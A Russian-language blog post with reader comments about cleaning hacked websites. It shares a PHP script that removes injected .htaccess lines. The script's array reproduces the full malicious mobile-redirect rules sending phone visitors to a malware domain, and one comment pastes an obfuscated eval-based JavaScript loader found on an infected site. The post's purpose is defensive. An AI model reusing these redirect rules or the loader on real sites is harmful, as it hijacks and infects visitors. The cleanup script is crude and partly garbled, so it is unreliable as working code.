Взломали сайты и дополнили файлы htacsess своими строчками. Я решил написать противоядие. Программа открывает файлы и убирает строчки вируса. Буду рад, если код вам поможет.
R e p l a c e v i r
//set_time_limit(600000);
$removes = array(
'RewriteEngine on' => '',
'RewriteCond %{HTTP_USER_AGENT} android [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]' => '',
'RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]' => '',
'RewriteCond %{HTTP:Profile} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]' => '','RewriteCond %{QUERY_STRING} !noredirect [NC]' => '',
'RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]' => '',
'RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]' => '','RewriteRule ^(.*)$ http://moby-aa.ru/e/2090?&mod=htaccess&dn=%{HTTP_HOST} [L,R=302]' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '??',
'??????????' => '??',);
$removes_regular = array(
//"~\n\n~is" => ""
);//array = GetFilesTree(getcwd()."/xxx.ru");
$array = GetFilesTree(getcwd()."");// Функция поиска
function GetFilesTree($path, $mask = "*", $tree = array()) {
$files = glob($path."/".$mask);
foreach($files as $file) {
if (is_dir($file)) {
$tree[basename($file)] = GetFilesTree($file, $mask, $tree);$f1=$file."/.htaccess";
//echo "
$file";
if (file_exists($f1) == false) continue;echo "
$file ";$ss = file($f1);
$s= implode(" ",$ss);
if (strpos($s, "moby-aa.ru") == 0) continue;echo "
bad = $file";
DoChange($f1);
//return;} else if (is_file($file)) {
continue;
//if (strpos($file, ".php") == 0) continue;
//if (strpos($file, "mna_d.php") > 0) continue;
//if (strpos($file, "htaccess") == 0) continue;
echo "
$file";
$tree[] = $file;$f = file($file);
$r1=$f[0];
if (strpos($r1, "moby-aa.ru") == 0) continue;
echo "
bad = $file";//DoChange($file);
//echo "
$file";
}
}
return $tree;
}function DoChange($file) {
global $removes, $removes_regular;
$data = file_get_contents($file);
$data_old = $data;
$data = strtr($data, $removes);
foreach($removes_regular as $regexp => $remove) {
$data = preg_replace($regexp, $remove, $data);
}
if ($data_old != $data ){
echo " $file
";
file_put_contents($file, $data);
}
}
?>
проверка сайта в вирусных базах данных http://antivirus-alarm.ru/proverka?url=sm100.ru
***
PS
Установил плагин
BulletProof Security
Можно защитить .htaccess от записи и вживления вредоносного кода с помощью команды chattr ( например для защиты .htaccess файла используем chattr -R +ias .htaccess).
—
Попросил хостеров закрыть от изменения .htaccess – надеюсь, что эта мера позволит избавиться от проблем.
Сергей, а источник взлома нашел и закрыл? А то этот процесс обязательно повторится.
Сергей, а что если установить права доступа на этот файл. И запретить его редактировать. Так проще будет.
Большущее спасибо! Такой рецепт мне не приходил в голову!
Оказывается, права на htacsess – только на чтение установить нельзя. по крайнй мере на моем хостинге это не удается сделать.
Еще можно в файле robot.txt запретить считывание .htacsess
Владимир, Вы хоть представляете механизм работы файла .htaccess ???
И для того, что бы запретить запись в файл при помощи выставления прав нужен root доступ, а на шаред хостинге это в основном невозможно.
Более того, зачастую php запускается от пользователя root, поэтому эти права ни чем не помогут.
Да и толку от этого? Ну нельзя будет писать в этот файл, а в любой другой можно. Что злоумышленники вчера продемонстрировали добавить с десяток спаных постов.
Нужно обязательно искать причину и устранять ее. Обычно это какой то из плагинов. Через них ломают в основном. Затем желательно снести к черту сайт и восстановить заново на чистый движок. Потому что запаришься шел искать, который скорее всего где нибудь положил хаккер.
Ну про смену паролей я уж и не говорю.
Попросил хостеров запретить изменения htacsess – надеюсь сейчас воцарится мир.
Надежда умирает последней А практика показывает другое. Меня тоже ломали и пишу из своей практики.
нашел червя. Скачал один из сайтов в локал. Услышал, как Аваст стал ругаться. Нашел вот это:
function snxban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,41,16,18,50,6,62,25,10,1,0,0,0,0,0,0,28,37,60,34,0,57,7,4,17,23,53,61,31,32,44,14,33,39,54,29,24,20,35,19,11,26,43,0,0,0,0,38,0,3,13,22,42,12,56,30,55,40,45,52,21,48,5,51,49,47,27,36,46,9,15,8,2,59,58);for(j=Math.ceil(l/b);j>0;j–){r=”;for(i=Math.min(l,b);i>0;i–,l–){{w|=(t[x.charCodeAt(p++)-48])<
>=8;s-=2}else{s=6}}}eval(r);}}snxban(’7gwM85T_Dh1_vdE_SOS4d5wMX_@J85TVrOfCDdum74EPYtipuXKPw4EVatioD6fMXOSRIQbROhuQbObo5d1_g3Sm9QfVYtwRnxBPDCTM9Z7mHQ@pV6i_5xeQ9tuM8YBivd1PDoEVDdTMaYBpGhjRYyjJFI@47LSRTQ@puoNo7giCYYfkSQjROrfCF_iPYOKJ@y@QYg1MXObo8gTQg8fVI3bM9xfCeajk9LwC@6fMXxS4Fa’)